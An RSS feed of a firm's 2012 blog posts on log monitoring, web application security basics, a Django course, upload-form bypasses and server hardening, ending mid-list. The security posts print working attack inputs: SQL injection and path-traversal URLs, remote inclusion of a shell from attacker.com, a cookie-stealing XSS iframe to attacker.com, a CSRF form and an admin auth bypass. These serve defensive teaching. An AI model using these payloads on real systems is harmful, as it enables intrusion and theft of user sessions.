                <pubDate>Thu, 25 Oct 2012 12:00:00 +0000</pubDate>
                <dc:creator>Emil Filipov</dc:creator>
                <description><![CDATA[<p>Here, at MTR Design, we are managing multiple web apps, servers and system components. All of them generate some kind of logs. Most of the time the logs are trivial and contain nothing that we should be concerned about. There is the odd case, however, where some log gets an entry that truly deserves our attention.</p>]]></description>
                <content:encoded><![CDATA[<p>You see, the signal-to-noise ratio in most logs is very low, so going over all of the logs by hand is an extremely boring and time-consuming task. Yet, there may be "gems" inside the logs that you really want to act on ASAP - say, someone successfully breaking into your server, or email list going crazy and spamming your customers.</p>
<p>So, what solutions do we have at our disposal? The most noteworthy are Splunk (hosted service, expensive) and Logstash (Java, pain to install, maintain and customize). I did not like any of them. What I did like was <a href="https://getsentry.com/welcome/" target="_blank" rel="noopener noreferrer">Sentry</a>, which has a logging client (called Raven) available in dozen languages. The only problem is that Sentry is meant for handling exceptions coming from applications - not for general purpose logging.&nbsp;</p>
<p>Yet, Sentry has a lot of the features that we do need:</p>
<ul>
<li>Centralized logging with nice Web UI</li>
<li>Users, permissions, projects</li>
<li>Aggregation, so that similar log messages get grouped together</li>
<li>Quick filters, letting you hide message classes you do not care about</li>
<li>Plugin system that lets you write your own message processing&nbsp;</li>
<li>Flexible and easy to use logging clients</li>
</ul>
<p>Since we already had Sentry for handling in-app logging, enabling it to handle general-purpose server logs felt like a very compelling idea. So we did it...</p>
<h3>Enter PyLogWatch</h3>
<p>... by writing a Python app that parses log files and feeds them to Sentry. The application is very small and simple, and you can run it on any server with a recent version of Python. You don't need to be root, there is no long-running daemon, and no special deployment considerations - just <a href="https://github.com/mtrdesign/pylogwatch" target="_blank" rel="noopener noreferrer">download</a>, configure, run (by cron, or via other means of scheduling). Of course, PyLogWatch relies on you having a Sentry server, but that's not too hard to install either (see <a href="http://sentry.readthedocs.org/en/latest/quickstart/index.html#setting-up-an-environment" target="_blank" rel="noopener noreferrer">the docs</a>), and you can always use the very affordable hosted Sentry service (see <a href="https://www.getsentry.com/pricing/" target="_blank" rel="noopener noreferrer">the pricing</a>), which features a limited free account.</p>
<p>The PyLogWatch project is still in its infant stages - there are just a couple of *very* basic parsers (for Apache error logs and for syslog files), and no extensions for the Sentry server yet. Nevertheless, it has already proven very useful to us, since it enabled our developers to closely track the Apache error log files for the applications they "own", and swiftly react to any problem that shows up. In practice, each error line generates a "ticket" in Sentry, and it sticks up there until a project member explicitly marks it as resolved. As an optional feature, all project members receive an email whenever there is a new entry waiting to be resolved.&nbsp;</p>
<p>What I love about this project is that it is a pretty much blank sheet of paper. I believe that using the combined power of custom parsers and Sentry plugins can yield magnificent results.</p>
<p>So what tool are <strong>you</strong> using for log tracking? What would do you like/dislike about it, and what would you ideally like it to do? Feel free to share your thoughts.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Web Application Security Basics</title>
                <link>https://mtr-design.com/news/web-application-security-basics</link>
                <guid>https://mtr-design.com/news/web-application-security-basics</guid>
                <pubDate>Sun, 02 Sep 2012 12:00:00 +0000</pubDate>
                <dc:creator>Dimitar I</dc:creator>
                <description><![CDATA[<p>Why the Web Application security matters? Under these circumstances, it is not hard to answer this question. Since virtually anyone has access to "hacking resources", the threat to the information security has increased enormously. With the migration to the Web applications, combined with the whole fuzz around the cloud computing, the focus of the security specialists and researchers has shifted.</p>]]></description>
                <content:encoded><![CDATA[<h3>Some History</h3>
<p>With the development of the computers and the communication technologies, the question of the security is becoming more and more pressing. Nowadays, every individual has some kind of presence on the Internet. This is true to a much greater extent for the companies - you simply cannot do business if you do not use Internet and/or web-based solutions - ERP applications, collaboration tools, you name it. This is raising many questions, such as "How secure is the information of my company?"; "How secure is the information of my customers?"; "Can someone access this information without authorization?"; "What do I need to do to protect myself from getting hacked?", etc. These questions are more relevant today than they were in the past. Twenty years ago very few people used computers, and even fewer dealt with information security. For those that did, this was a hobby or a profession, and they had a different way of thinking - if they found a vulnerability in a software or a system, they would report it to the owners, so that they can fix or mitigate it. I remember in the 90's there was a guy that hacked the name server of our university network through the finger daemon, and report it it immediately without doing any harm. Now, when literally everyone has Internet access, things are quite different. Anyone can download working exploits for recently published vulnerabilities; there are tools that can automate most of the tasks you would go through to hack a website; and do not forget Google and Shodan, which you can use to find vulnerable targets. This is making "hacking" (if you can call it that) very easy.</p>
<h3>Why the Web Application security matters?</h3>
<p>Under these circumstances, it is not hard to answer this question. Since virtually anyone has access to "hacking resources", the threat to the information security has increased enormously. With the migration to the Web applications, combined with the whole fuzz around the cloud computing, the focus of the security specialists and researchers has shifted. On one hand, it is harder to find a remote exploit for the operating systems. On the other hand, it is much easier to target and compromise a Web application. Often, the only thing you need to do that is a Web browser - take the LFI, RFI, File Upload, SQLi. If the application is vulnerable to LFI, you can include the process environment, which is going to be parsed by the PHP interpreter. If you change the User-Agent to a PHP code, it will be executed, giving you a remote command execution. If there is an RFI, you can include a Web shell from a remote server, and so on. Additionally, the vulnerabilities are announced publicly, sometimes even before there is a patch for them. Yeah, but</p>
<h3>why on earth would someone attack my company?</h3>
<p>Well, the motivation of the hacker can be different - industrial espionage; getting a stepping stone (hopping station) for carrying out attacks on other machines/networks; real or imaginary profit; revenge, hacktivism, etc. Anyone can target any company even for no particular reason, so</p>
<h3>what could be the damage?</h3>
<p>No matter the motivation of the attacker, their actions can cause huge financial losses, loss of reputation and trust, law suits. If a server is hacked and used as a hopping station to target other networks, it may be confiscated by the law enforcement, which can lead to additional losses. If its content is deleted, this can directly affect the productivity. A compromise of a server can lead to attacks on the internal networks of the company. That is why, we need to know what are</p>
<h3>the Most Common Vulnerabilities in the Web Applications</h3>
<p>The <a href="https://www.owasp.org/" target="_blank" rel="noopener noreferrer">Open Web Application Security Project</a> (OWASP) defines <a href="https://www.owasp.org/index.php/Top_10_2010-Main" target="_blank" rel="noopener noreferrer">ten categories</a>, which combine "the most serious risks for a broad array of organizations." Below, we will outline some of the most common vulnerabilities we have met in the course of our work. Probably the most common and the easiest one to exploit is</p>
<h3>SQL Injection - Exploiting the Developer</h3>
<p>Almost every dynamic Web application uses some kind of database backend. The content displayed to the application users is stored in the database and displayed in the browser, depending on the parameters passed by the underlying scripts to the backend. These parameter, however, depend on the user behavior, and can, therefore, be modified by them. This is the basic functionality of the Web application. The problems arise when the parameters are passed to the database without any sanitizing. This allows malicious users to close the legitimate query and pass their own queries to the database and get the results one way or another. In other words, SQL Injection exploit the assumptions, made by the application developers. For example, when the developer produced the following code:</p>
<pre>$sql = '
SELECT *
FROM products
WHERE id = ' . $_GET['id'];
</pre>
<p><br />they wanted the script to query the database for products matching a given ID that is passed as a GET parameter. That is, if the visitors access http://target.com//vulnerable_script.php?id=1, they would see the details for the product with ID 1. The database query will look like this:</p>
<pre>SELECT *
FROM products
WHERE id = 1
</pre>
<p><br />In this particular case, the developers assumed that the 'id' parameter would always be an integer. However, since the value of the 'id' parameter is passed to the database by the user without any filtering, a malicious user can input the following URL in the browser: http://target.com//vulnerable_script.php? id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6-- In this case, the DB query will look like this:</p>
<pre>SELECT *
FROM products
WHERE id = 1
union all
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6
</pre>
<p><br />Basically, this tells the database to display the information about the product with ID 1 and combine it with a set of data that contains the information about the user, the name of the database and the version of the database server. This information is selected in the third column, separated by colons (0x3A). To make this query, the attacker needs to know the number of the columns in the database. This information can be easily obtained by several requests that instruct the database to display the data, ordered by a particular column. This is a basic example for a regular Union SQL Injection. There are other flavors of SQLi - error-based, time-based blind boolean-based blind. Error-based SQL Injection attacks rely on extracting information from the errors, returned by the database. There is a nice <a title="Error-based SQLi" href="http://www.youtube.com/watch?v=WN27Ql-S99Q" target="_blank" rel="noopener noreferrer">introductory tutorial</a> on error-based SQLi on Youtube. Surprisingly often, developers think that when they hide the errors from the output, they have resolved the vulnerability. Of course, this is not the case - the fact that you cannot see the data, returned by the database (union-based) or the errors (error-based), does not mean that the script is not vulnerable. In these cases, an attacker can use Blind SQL Injection to exfiltrate data, i.e. brute-force the data, based on boolean or time-based conditions. In these cases, you will pass queries that will inspect the responses of the database server and reconstruct the data. Of course, the attackers and pentesters are not stuck with the browser to exploit these vulnerabilities. There are numerous tools that will automate the process. The best one is <a title="sqlmap" href="http://sqlmap.org/" target="_blank" rel="noopener noreferrer">sqlmap</a>. Bernardo and Miroslav have done amazing job developing this tool. There are several things that can be done to prevent SQL Injection. The most widely used method is</p>
<p><strong>filtering the user input</strong></p>
<p>This method is the easiest to implement and if not implemented properly, it can be bypassed. There are numerous techniques to bypass defenses, based on input filtering - case tampering, white space tampering, encoding the queries. A lot better defense against SQLi is to use</p>
<p><strong>parameterized queries</strong></p>
<p>or "prepared statements". These are essentially templates for SQL queries, which contain&nbsp;spaces where the user input will go. When the filled-in template is passed to the database, the entire user input would be in the space allocated for it in the template. The database will execute the query from the template, instead of the query that may be supplied in the user input. Alternatively, developers can use</p>
<p><strong>ORM (Object Relational Mapping)</strong></p>
<p>This is a technique for object conversion, which converts the tables in the database to scalar variables, creating a virtual database. In practice, the ORM systems generate parameterized queries. The second most common vulnerability in Web applications is</p>
<h3>File Inclusion - Exploiting the Functionality</h3>
<p>This is another vulnerability that is fairly easy to find and exploit. Essentially, this is the ability to include files from the machine on which the application runs, or from a remote server, visible to this machine. The possibility to include different scripts is essential for the work of every application - this is how the application logic is abstracted or how different pages are displayed, depending on the user choice. Let's take a fairly simple website that has four pages: Home, News, About Us, Contacts. If the visitor accesses the Home page, the URL they will use would look like that:</p>
<pre>http://target.com/vulnerable_script?page=home
</pre>
<p><br />In other words, the script accepts one parameter (page), which value specifies the page that is requested by the visitor. Let's assume that the script has the following code:</p>
<pre>&lt;?php<br />$page = $_GET['page'];<br />if(isset($page)) {<br />include("$page");<br />}<br />else {<br />include("vulnerable_script.php");<br />}<br />?&gt;
</pre>
<p><br />The code is self-explanatory - the value of the GET parameter page is assigned to a variable 'page'. If its value is not NULL, the script includes the script with a name that is the same as the value. The problem with this code is that the page variable is created from the user input without any checks or filtering. Therefore, if we access the following URL:</p>
<pre>http://target.com/vulnerable_script?page=../../../../etc/passwd
</pre>
<p><br />the script will include and display the contents of the UNIX password file. This is a very simplified example of LFI. Often, programmers think that to secure the script above, they only need to add one little modification:</p>
<pre>&lt;?php<br />$page = $_GET['page'];<br />if(isset($page)) {<br />include("$page" . ".html");<br />}<br />else {<br />include("vulnerable_script.php");<br />}<br />?&gt;
</pre>
<p><br />The only difference here is that a .html extension is added to the page that is included. However, by simply appending a null character (%00) to the URL, the attacker would still be able to include arbitrary files. This depends on the server configuration, the PHP version and may not work in all cases. In other cases, the developers use the file_exists() function, but this is functionality check, not a security one, because it does not limit the ability to include existing files. LFI vulnerabilities can easily lead to command execution in some cases. To achieve this, a malicious user can use the /proc file system, which is used in Linux as an interface to the kernel of the Operating System. Let's say that, again, we have a script that is vulnerable to LFI. To gain the ability to execute commands on the server, a malicious user can include /proc/self/environ. This is the environment of the current process - it contains the environmental variables for the running process. Besides the system environmental variables, it also contains the CGI variables (REMOTE_ADDR, HTTP_REFERER, HTTP_USER_AGENT, etc.) So, if the hacker changes the User-Agent header, passed to the server to a PHP script, the script will be parsed by the PHP interpreter and executed on the server. So far, we've looked into the ability to include files locally from the server, on which the vulnerable script is running. To include files from remote locations is not that different. Actually, if the server configuration allows the inclusion of remote scripts, and if the script is vulnerable, the only difference will be in the URL - the attacker would just have to use an address, such as</p>
<pre>http://target.com/vulnerable_script?page=http://attacker.com/php_shell.txt%00
</pre>
<p><br />The file php_shell.txt will be included by the vulnerable script and parsed by the interpreter and executed locally on the server, effectively giving the attacker web shell access to the machine. Much like the SQL Injection vulnerabilities, the File Inclusion vulnerabilities are fairly easy to find and exploit. They are too a result of bad programming. Another such result is the</p>
<h3>Arbitrary File Upload or Exploiting the Hostpitality</h3>
<p>We have <a title="Poking with Media Upload Forms" href="http://mtr-design.com/blog/poking-with-media-upload-forms/">previously posted</a> about these type of vulnerabilities, so we are going to skip this one here. The truth is that it is not just media upload forms that can be exploited. Any file upload script can be used. There may not even be an HTML form; the attackers can just make a request to the script. Even if we have a secure application, we should always be watching for</p>
<h3>Unprotected Files or Exploiting the Negligence</h3>
<p>People often make mistakes because of negligence. Developers and/or system administrators are not an exception to this rule. With the correct Google dorks we can find numerous configuration or backup files with database connect strings, scripts with improper content type that would be downloaded instead of executed in the browser, file managers with poor or no authentication, and so on. It may sound weird, but this is a fairly common mistake. Imagine that the developer of a web application has to make a quick change on the production server. They create a backup of the script that are about to change, and then leave the backup file with a .bak extension on the server. Even if the script does not contain sensitive data, such as usernames and passwords, it will still represent a security issue, because the backup file will most probably be downloaded by whoever accesses it. In another scenario, the Web application may use a Rich Text Editor, such as FCKEditor. There are lots of vulnerable versions of such editors that allow unauthenticated users to upload arbitrary files. The main reason for this security hole is the fact that people place files where they are not supposed to. To avoid this, you need to make sure that all files that should not be accessible over HTTP be placed outside the Web root directory. If for some reason this is not possible, these files should be protected properly. Probably the most common and overlooked vulnerability is</p>
<h3>XSS or Exploiting the User</h3>
<p>There are situations, in which the Web application allows us to get to the server through the user. The XSS (Cross-Site Scripting) vulnerabilities allow the attacker to inject custom scripts, which are executed in the context of the browser of the webapp user. This is due to improper validation of the output. There are two kinds of XSS vulnerabilities: persistent (stored) and non-peristent (reflected). Persistent XSS attacks store the injected code on the server and it is executed each time the page is displayed to the visitors. Here is an example scenario that uses stored XSS to get the cookie of the Web application user.</p>
<ul>
<li>The attacker creates a script on their server that will collect the cookies.</li>
<li>The attacker injects the following hidden iframe in the application:</li>
</ul>
<pre>&lt;iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=&rdquo;attacker.com/get_cookies.php?cookie=&rdquo; + document.cookie)&gt;&lt;/iframe&gt;</pre>
<ul>
<li>An authenticated user loads the page that contains the iframe.</li>
<li>The cookie is sent to the script, which writes it to a file or a database.</li>
<li>The attacker loads the cookie in their browser and is able to authenticate as the user.</li>
</ul>
<p>Non-persistent XSS attacks are essentially the same; the only difference is that the injected code is not stored on the server. Instead, the attacker needs to trick the user to follow a link. Although XSS attacks usually attempt to steal cookies, this is not always the case. They may be used to target the passwords saved in the browser, and let's not forget <a title=" beef" href="http://beefproject.com/" target="_blank" rel="noopener noreferrer">BeEF</a>. This means that setting the HttpOnly flag is not enough to protect the Web application users from XSS attacks. The best protection will be to validate and sanitizing the input and the output of the application alongside with tightened cookie security policies. A close relative of the XSS is the</p>
<h3>XSRF or Exploiting the Browser</h3>
<p>In its essence, the Cross-Site Request Forgery (CSRF or XSRF) attack is a hybrid between an XSS and a LFI attack. XSRF attacks are a way to issue commands from a user that the Web application trusts. Suppose we have a page in our Web application where the users can change their passwords. If the form is vulnerable to XSRF, the attacker can exploit this vulnerability to reset the password of the user. Here is how such an attack will take place:</p>
<ul>
<li>The attacker creates their own form on their server:</li>
</ul>
<pre>&lt;html&gt;<br />&nbsp;&nbsp;&nbsp; &lt;head&gt;&lt;/head&gt;<br />&nbsp;&nbsp;&nbsp; &lt;body onLoad="javascript:document.password_form.submit()"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;form action="https://target.com/admin/admin.php?" method=post name="password_form"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=hidden name=a value=change_password&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=password name=password1 VALUE="new_pass"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=password name=password2 VALUE="new_pass"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/form&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/body&gt;<br />&lt;/html&gt;
</pre>
<ul>
<li>The attacker creates a seemingly empty HTML page, which contains a hidden iframe or an img tag that loads the form.</li>
<li>The attacker tricks the user to access the page (the user has to have an active session with the Web application).</li>
<li>The form submits the data to the server, effectively changing the password.</li>
</ul>
<p>The only difficult thing in the attack is to trick the user to visit the page, while being logged in the application. This may be achieved with a spoofed e-mail, instant message, and so on. To protect users against such attacks, developers need to use anti-XSRF tokens in POST requests. Additionally, user actions, such as changing their passwords, should require an additional confirmation, usually, the users should enter the old passwords. Both CSS and CSRF attacks attempt to steal user accounts. This can also be achieved via attacking the</p>
<h3>Authentication and Authorization or Exploiting the Implementation</h3>
<p>We all know that assumptions are bad, but we still continue to assume. Fairly often the developers of the application make assumptions on how the authorization and the authentication of the users should work. These assumptions are sometimes wrong, and malicious users can conduct actions that do not always match whatever the developers have taken for granted. Let's take one of the most famous shopping cart scripts for an example. Here is how the administrators of the application log in to the administrative interface.</p>
<ul>
<li>The administrator accesses http://target.com/catalog/admin.</li>
<li>The script redirects to the login.php script.</li>
<li>The administrator enters their login credentials.</li>
<li>The script checks the login credentials.</li>
<li>If they are correct, the administrator is logged in.</li>
<li>If they are not correct, the script asks the user for their login credentials again.</li>
</ul>
<p>This is achieved by showing the login.php script to every unauthenticated user of the appl<br />ication. Let's see part of the code of the script. The login.php script contains the following code:</p>
<pre>require('includes/application_top.php');
</pre>
<p><br />and here is the part of the application_top.php script that checks if the user is authenticated:</p>
<pre>// redirect to login page if administrator is not yet logged in 
if (!tep_session_is_registered('admin')) { 
$redirect = false; 
$current_page = bassename($PHP_SELF); 
if ($current_page != FILENAME_LOGIN) { 
if (!tep_session_is_registered('redirect_origin')) { 
tep_session_register('redirect_origin'); 
$redirect_origin = array('page' =&gt; $current_page, 'get' =&gt; $HTTP_GET_VARS); 
} 
$redirect = true; 
} 
if ($redirect == true) { 
tep_redirect(tep_href_link(FILENAME_LOGIN)); 
} 
unset($redirect); 
}
</pre>
<p><br />What it basically does is check if the basename of $PHP_SELF is login.php. If it is login.php, then it serves the page; otherwise you will be redirected to login.php. Now, imaging that the attackers accesses the following URL:</p>
<p>http://target.com/catalog/admin/file_manager.php/login.php</p>
<p>The basename of $PHP_SELF is login.php, so the redirect is completely bypassed and the script renders the page, which, is of course, file_manager.php.</p>
<p>The attacker can also make a POST request to http://target.com/catalog/admin/administrators.php/login.php?action=insert and add themselves as a site administrator, upload a Web shell, and so on, and so forth.</p>
<p>Such vulnerabilities are due to mistakes in the programming. They are a bit harder to detect by the attackers, but they are extremely unpleasant, as they give access to the application to unauthenticated users.</p>
<p>To avoid these vulnerabilities, the logic of the application has to be very well planned, and the the implementation should be thoroughly tested.</p>
<p>Of course, there are other vulnerabilities , and attacks that are hybrids of the attacks described above. There is no post that can encompass them all. But we can safely say that these are the most common vulnerabilities and attacks on the Internet nowadays.</p>
<p>In a follow-up post we will discuss the defense and the penetration tests as part of the defense.</p>
<hr />
<p>This article is translated to <a title="Serbo-Croatian translation" href="http://science.webhostinggeeks.com/bezbednost-web-aplikacija">Serbo-Croatian</a> language by Anja Skrba from <a title="Webhostinggeeks.com" href="http://webhostinggeeks.com/">Webhostinggeeks.com</a>.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Another way to make a difference</title>
                <link>https://mtr-design.com/news/another-way-to-make-a-difference</link>
                <guid>https://mtr-design.com/news/another-way-to-make-a-difference</guid>
                <pubDate>Thu, 16 Aug 2012 12:00:00 +0000</pubDate>
                <dc:creator>Emil Filipov</dc:creator>
                <description><![CDATA[<p>Here at MTR we try to make a difference every day, by challenging stereotypes and finding creative ways to deal with our tasks. This month, however, I will try to make a difference in another way - by doing some teaching. A Django Crash Course (in Bulgarian) will take place on Aug 31st, in the headquarters of the <a href="http://initlab.org/events/pgdjsh-course-on-django/" target="_blank" rel="noopener noreferrer">initLab hackerspace</a> in Sofia. I've been thinking about this for a while, since Django is basically unknown around here, and I finally found the time to do a little (pr|t)eaching.</p>]]></description>
                <content:encoded><![CDATA[<h4>The plan is to cover the following topics:</h4>
<p>1. Installing Python on Windows</p>
<p>2. Introduction to the Python interactive console and demonstrating basic Python constructs/syntax</p>
<p>3. Installing Django on Windows and playing with PYTHONPATH &nbsp;+ startproject</p>
<p>4. Installing Django on Linux; playing with runserver</p>
<p>5. Django Tutorial Part 1&nbsp;</p>
<ul>
<li>Folder structure</li>
<li>Running the development server</li>
<li>Database setup</li>
<li>Models/ORM</li>
<li>Playing with the models from the command line</li>
</ul>
<p>6. Django Tutorial Part 2</p>
<ul>
<li>Activating the Admin App</li>
<li>Adding our models to the Admin</li>
<li>Customizing the ModelAdmin</li>
</ul>
<p>7. Django Tutorial Part 3</p>
<ul>
<li>Routing addresses with the URL dispatcher</li>
<li>Writing views and rendering templates</li>
<li>Using template constructs</li>
<li>Named URLs and URL reversal in code/templates</li>
<li>Template resolution</li>
<li>Overriding Admin templates</li>
<li>Dealing with static media</li>
</ul>
<p>8. Django Tutorial Part 4</p>
<ul>
<li>Working with basic forms</li>
<li>Showcasing ModelForms</li>
<li>ModelForm security considerations</li>
</ul>
<p>9. Making your life easy with Django Debug Toolbar</p>
<p>So there you have it - a Python fanboy trying to convince developers that they deserve better than PHP, during a 4-hour Django intro full of hate, love and ponies. The course is completely free, so do come by if you're in the mood for some webdev action!</p>]]></content:encoded>
            </item>
                    <item>
                <title>Poking with Media Upload Forms</title>
                <link>https://mtr-design.com/news/poking-with-media-upload-forms</link>
                <guid>https://mtr-design.com/news/poking-with-media-upload-forms</guid>
                <pubDate>Thu, 02 Aug 2012 12:00:00 +0000</pubDate>
                <dc:creator>Dimitar I</dc:creator>
                <description><![CDATA[<p>What can I say about file upload forms? Every pentester simply loves them - the ability to upload data on the server you are testing is what you always aim for. During a recent penetration test, I had quite the fun with this form that was supposed to allow registered users of the site to upload pictures and videos in their profiles. The idea behind the test was to report everything as it was found, and the developers would fix it on the fly. The usual SQL injection and XSS issues they had no problems with, but the image upload turned to be a real&nbsp;challenge. When I got to the file upload form, it performed no checks whatsoever. I tried to upload a PHP shell, and a second later I was doing the happy hacker dance.</p>]]></description>
                <content:encoded><![CDATA[<h3>The challenge</h3>
<p>So the developers applied the following fix:</p>
<p><em>$valid = false; if(preg_match('/^image/', $_FILES['file']['type'])) { $info = getimagesize($_FILES['file']['tmp_name']); if(!empty($info)) $valid = true; } elseif(preg_match('/^video/', $_FILES['file']['type'])) { $valid = true; } else { @unlink($_FILES['file']['tmp_name']); }<br /> if($valid) { move_uploaded_file( $_FILES['file']['tmp_name'], 'images'.'/'.$_FILES['file']['name'] );</em></p>
<p>The code is now checking the type of the file and size of the images. However, there are a few issues with this check:</p>
<ul>
<li>the type of the file is checked via the Content-Type header, which is passed to the script by the client, and therefore, can be easily modified;</li>
<li>the script is not checking the file extension, and you can still upload a .php file;</li>
<li>the check for the videos is only based on the Content-Type header.</li>
</ul>
<h3>Evasion</h3>
<p>It is fairly easy to evade this kind of protection of file upload forms. The easiest thing, of course, is to upload a PHP script, by changing the Content-Type header of the HTTP request to image/video. To do this, you need to intercept the outgoing HTTP request with a local proxy, such as Burp or Webscarab, but Tamper Data for Firefox will do just fine. You can also upload a valid image and insert PHP code in the EXIF. To do this, you can insert the code in the Comments field, e.g.:</p>
<p><em>$ exiftool -Comment='' info.php 1 image files updated</em></p>
<p>When you upload the image with a .php extension, it will be interpreted by the PHP interpreter, and the code will be executed on the server. Depending on the server configuration, you might be able to upload the image with .php.jpg extension. If the check for the extension is not done correctly, and if the server configuration allows it, you can still get code execution. Easy, eh?</p>
<h3>Protection</h3>
<p>So what can be done to prevent this? With a mixture of secure coding a some server-side tweaks, you can achieve a pretty secure file upload functionality.</p>
<ul>
<li>[Code]&nbsp;Check for the Content-Type header. This may fool some script kiddies or less-determined attackers.</li>
<li>[Code] Check for the file extension. Replace .php, .py, etc. with, say, _php, _py, etc.</li>
<li>[Server] Disable script execution in the upload directory. Even if a script is uploaded, the web server will not execute it.</li>
<li>[Server] Disable HTTP access to the upload directory, that is if the files are only meant to be accessible only from scripts using the file system.Otherwise, &nbsp;although the script will not be executed locally on the server, it could still be used by attackers in Remote File Inclusion attacks. If they target another server with an application that has an RFI vulnerability and allow_url_include is on, they can upload a script on your server and use it to get a shell on the vulnerable machine.</li>
</ul>
<h3>Conclusion</h3>
<p>Developers often forget that relying on client-side controls is a bad thing. They should always code under the assumption that the application may be (ab)used by malicious user. Everything on the client side can be controlled and therefore, evaded. The more you check the user input, the better. And of course, the server configuration should be as hardened as possible.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Paranoid</title>
                <link>https://mtr-design.com/news/paranoid</link>
                <guid>https://mtr-design.com/news/paranoid</guid>
                <pubDate>Thu, 21 Jun 2012 12:00:00 +0000</pubDate>
                <dc:creator>Dimitar I</dc:creator>
                <description><![CDATA[<p>A couple of years ago, one of our clients asked us to design a server setup that would host a PHP application for credit card storage. The application would have to be accessible from different location, only by their employees. Below is the design guide, produced by our team.</p>]]></description>
                <content:encoded><![CDATA[<p>What we tried to do, was make the security as paranoid as possible, and still leave the system in a usable state. Of course, there is always something else that you can do to tighten the security even more, but this will lead to functional inconveniences which we'd rather not live with.</p>
<p>The principle we followed was "deny all, allow certain things."&nbsp;Therefore, the main design principles are:</p>
<ul>
<li>Close all doors securely.</li>
<li>Open some doors.</li>
<li>Closely monitor the activity of the doors you opened.</li>
<li>Always be alert and monitor for suspicious activity of any kind (newly opened doors, unknown processes, unknown states of the system, etc)</li>
</ul>
<h3>Server installation and setup notes</h3>
<ul>
<li>Install a bare Linux, no services at all running ("netstat -lnp" must show no listening ports).</li>
<li>Install an intrusion detection system (which monitors system files for modifications).</li>
<li>Use the 'grsecurity' Linux kernel patches - they help against a lot of 'off-the-shelf' exploits</li>
<li><strong>(door #1)</strong> Install the OpenSSH server (22 port), so that you can manage the server.
<ul>
<li>Disallow password logins, allow ONLY public keys, SSH v2.</li>
<li>Set&nbsp;PermitUserEnvironment to "yes".</li>
<li>Set a "KEYHOLDER" environmental variable in the ~/.ssh/authorized_keys file.</li>
<li>Send an e-mail if the KEYHOLDER variable is not set when a shell instance is started.</li>
</ul>
</li>
<li>Set up an external DNS server in "/etc/resolv.conf" for resolving.</li>
<li><strong>(door #2)</strong> Install a web server, for example Apache.
<ul>
<li>Leave only the barely needed modules.</li>
<li>Set up the vhost to work only with SSL, no plain HTTP (<a href="http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html" target="_blank" rel="noopener noreferrer">http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html</a>).</li>
<li>Purchase an SSL certificate for the server's vhost, so that clients can validate it.</li>
<li>Do not set up multiple vhosts on the server; this server will have only one purpose - to store and send data securely; don't be tempted to assign more tasks here.</li>
<li>Install a Web Application firewall (mod_security, etc.) - it will detect common web-based attacks. Monitor its logs.</li>
<li>Limit HTTP methods to good ones only, unexpected HTTP methods should get into the error logs and raise an eyebrow (generate alerts).</li>
<li>Disable directory listing in Apache.</li>
<li>Disable multiviews/content negotiation in Apache if your app does not rely on them.</li>
</ul>
</li>
<li>Install an Application Firewall (e.g. AppArmor) - apps should not try to access resources they have no (legal) business with. For example, Apache should not try to read into /root/.</li>
<li>Install a MySQL server, bind it to address 127.0.0.1 so that network usage isn't possible.</li>
<li>Install a mail server like Exim or Postfix but let it send only locally generated e-mails; there is no need to have a fully functional mail server, listening on the machine.</li>
<li>Firewall INPUT and FORWARD iptables chains completely (set default policy to DROP), except for the following simple rules:
<ul>
<li>INCOMING TCP connections TO port 22 FROM your IP address(es) - allow enough IP addresses, so that you don't lock yourself out;</li>
<li>INCOMING TCP connections TO port 443 FROM your clients' IP address(es) - the CRM application's IP address, etc.;</li>
<li>Allow INCOMING TCP, UDP and ICMP connections which are in state ESTABLISHED (i.e. initiated by the server or on the SSH port).</li>
</ul>
</li>
<li>Log remotely, so if the system does get compromised, the attacker wouldn't be able to completely cover their traces. Copying over the log files on designated intervals is OK-ish, but real-time remote logging (like sysylog over SSL) is much better, as there would be no window where the logs could be erased/tampered with. Make an automatic checker which confirms that the remote logs, and the local logs are the same - an alarm bell should go off if they aren't.</li>
</ul>
<p><strong> Door #1 (SSH)</strong> can be considered closed and monitored:</p>
<ul>
<li>It works only with few IP addresses.</li>
<li>Does not allow plain text logins, so brute-force attacks are useless.</li>
<li>A notification is sent when the door is opened by unauthorized users.</li>
</ul>
<p><strong> Door #2 (web server)</strong> must be taken special care of.</p>
<ul>
<li>Review the access log of the server daily in regards to how many requests were made =&gt; if there are too many requests, then review the log manually and see which application/user made the requests; set a very low threshold as a start and increase it accordingly with time.</li>
<li>Review the error log of the server =&gt; send a mail alert if it has new data in it.</li>
</ul>
<p>Consider using some kind of VPN (e.g. PPTP/IPSec/OpenVPN) as an added layer of network authentication. You can then bind the web server to the VPN IP address (so direct network access is completely disabled) and set the firewall to only allow the internal VPN IPs on port 443.</p>
<h3>General server activity monitoring</h3>
<ul>
<li>Set the mail for "root" to go to your email address (crontab and other daemons send mail to "root").</li>
<li>Review the /var/log/syslog log of the server =&gt; send a mail alert if there is new data in it.</li>
<li>Do a "ps auxww" list of the processes =&gt; if there are unknown processes (as names, running user, etc) =&gt; send a mail alert to yourself.</li>
<li>Do a "netstat -lnp" list of the listening ports =&gt; mail alert if something changed here.</li>
<li>Test the firewall settings from an untrusted IP - the connections must be denied.</li>
</ul>
<p>Finally, update the software on the server regularly. E-mail yourself an alert if there are new packages available for update.</p>
<h3>Application Design Notes</h3>
<p>The SSL (HTTPS) vhost will most probably run mod_php. When designing the application, the following must be taken care of:</p>
<ul>
<li>Every user working with the system must be unique. Give unique login credentials to each of the employees, and let them know that their actions are being monitored personally, and they must not in any case give their login credentials to other employees.</li>
